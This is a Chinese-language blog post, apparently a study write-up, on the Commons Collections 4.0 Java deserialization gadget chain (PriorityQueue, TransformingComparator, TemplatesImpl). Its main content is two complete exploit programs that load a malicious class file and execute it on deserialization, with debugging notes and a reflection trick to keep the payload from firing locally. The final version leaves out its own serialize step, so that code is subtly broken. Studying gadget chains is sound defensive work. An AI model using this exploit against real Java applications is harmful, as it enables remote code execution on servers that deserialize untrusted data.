<1>环境分析
因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 不再继承 Serializable,导致无法序列化。
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的。这个就提供了一个攻击的路径
jdk:jdk8u65
CC:Commons-Collections 4.0
pom.xml 添加
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
<2>链子分析
CC4实际上是 另一个分支,不同于CC1用 LazyMap.get() 调用 .transform() CC4用TransformingComparator.compare() 调用

CC4的命令执行点则是 TemplatesImpl加载恶意类 因此链子后半段可以沿用CC3 不需要更改
我们再来看一看哪里调用了 compare
这里的话,找到了 PriorityQueue 优先队列类里 调用了compare 我们看一下

CC4的链子整体为:
<3> 编写EXP
按着链子写下来,应该是这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC4Test { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz");
byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
serialize(priorityQueue); unserialize("sercc4.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc4.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|
但是这里并没有弹出计算器,我们调试看看哪一步卡住了

这里PriorityQueue.heapify() 里我们应该进入循环,想执行 siftDown() 但这里size为0
0>>>1 = 0
我们运行一下, 可以看道 2>>>1 = 1

那我们就知道了 长度size为2的时候,会进入 我们在队列代码里add随便加两个
1 2
| priorityQueue.add(1); priorityQueue.add(2);
|
再运行,就弹出来计算器。但是这里的话,还有一个问题
就是 add() -> offer() -> siftUp() -> siftUpUsingComparator() 就是这个add他也会执行compare,本地执行的 并不是通过反序列化弹出的shell
所以这里我们初始化时需要,先不赋值 transformingComparator,执行完add之后,反射再改回来即可
最终EXP如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC4Test { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz");
byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2);
setFieldValue(transformingComparator,"transformer",chainedTransformer); unserialize("sercc4.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc4.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|
